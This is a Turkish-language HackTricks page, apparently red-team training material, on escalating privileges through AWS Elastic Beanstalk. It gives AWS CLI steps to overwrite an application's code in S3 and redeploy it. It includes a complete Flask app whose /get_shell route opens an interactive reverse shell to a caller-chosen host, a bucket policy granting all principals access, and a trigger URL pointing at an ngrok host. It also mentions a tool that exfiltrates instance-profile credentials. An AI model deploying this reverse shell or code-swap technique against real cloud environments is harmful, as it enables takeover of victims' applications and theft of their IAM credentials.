AWS - Elastic Beanstalk Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Elastic Beanstalk

Elastic Beanstalk hakkında daha fazla bilgi için:

AWS - Elastic Beanstalk Enum

Warning

Beanstalk’ta hassas eylemler gerçekleştirebilmek için birçok farklı serviste çok sayıda hassas izne sahip olmanız gerekir. Örneğin arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk ile verilen izinleri kontrol edebilirsiniz.

elasticbeanstalk:RebuildEnvironment, S3 write permissions & many others

Ortamın code’unu içeren S3 bucket üzerinde yazma izinleri ve uygulamayı yeniden oluşturma izinlerine sahip olduğunuzda (elasticbeanstalk:RebuildEnvironment ve S3, EC2 ve Cloudformation ile ilgili birkaç ek izin gereklidir), code’u değiştirebilir, uygulamayı yeniden oluşturabilir ve uygulamaya bir sonraki erişiminizde yeni code’unuz çalıştırılacaktır; bu da saldırganın uygulamayı ve uygulamanın IAM rolünün kimlik bilgilerini ele geçirmesine olanak tanır.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, ve daha fazlası…

Bahsedilenlerin yanı sıra birkaç S3, EC2, cloudformation, autoscaling ve elasticloadbalancing izni, sıfırdan ham bir Elastic Beanstalk senaryosu oluşturmak için gereklidir.

  • Bir AWS Elastic Beanstalk uygulaması oluşturun:
aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Bir ortam zaten oluşturulmuşsa ve yeni bir tane oluşturmak istemiyorsanız, mevcut olanı sadece güncelleyebilirsiniz.

  • Uygulama kodunuzu ve bağımlılıklarınızı bir ZIP dosyasına paketleyin:
zip -r MyApp.zip .
  • ZIP dosyasını bir S3 bucket’a yükleyin:
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • AWS Elastic Beanstalk uygulama sürümü oluşturun:
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Uygulama sürümünü AWS Elastic Beanstalk ortamınıza dağıtın:
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Her şeyden önce, önceki adımları takip ederek victim üzerinde çalıştırmak istediğiniz kod ile bir legit Beanstalk environment oluşturmanız gerekiyor. Muhtemelen şu 2 dosyayı içeren basit bir zip:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Kendi Beanstalk env’inizde rev shell’iniz çalışır hale geldiğinde, onu hedef env’e taşımak zamanı. Bunu yapmak için kendi Beanstalk S3 bucket’ınızın Bucket Policy’sini güncellemeniz gerekiyor, böylece hedef erişebilsin (Bu, Bucket’ı HERKES’e açacaktır):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin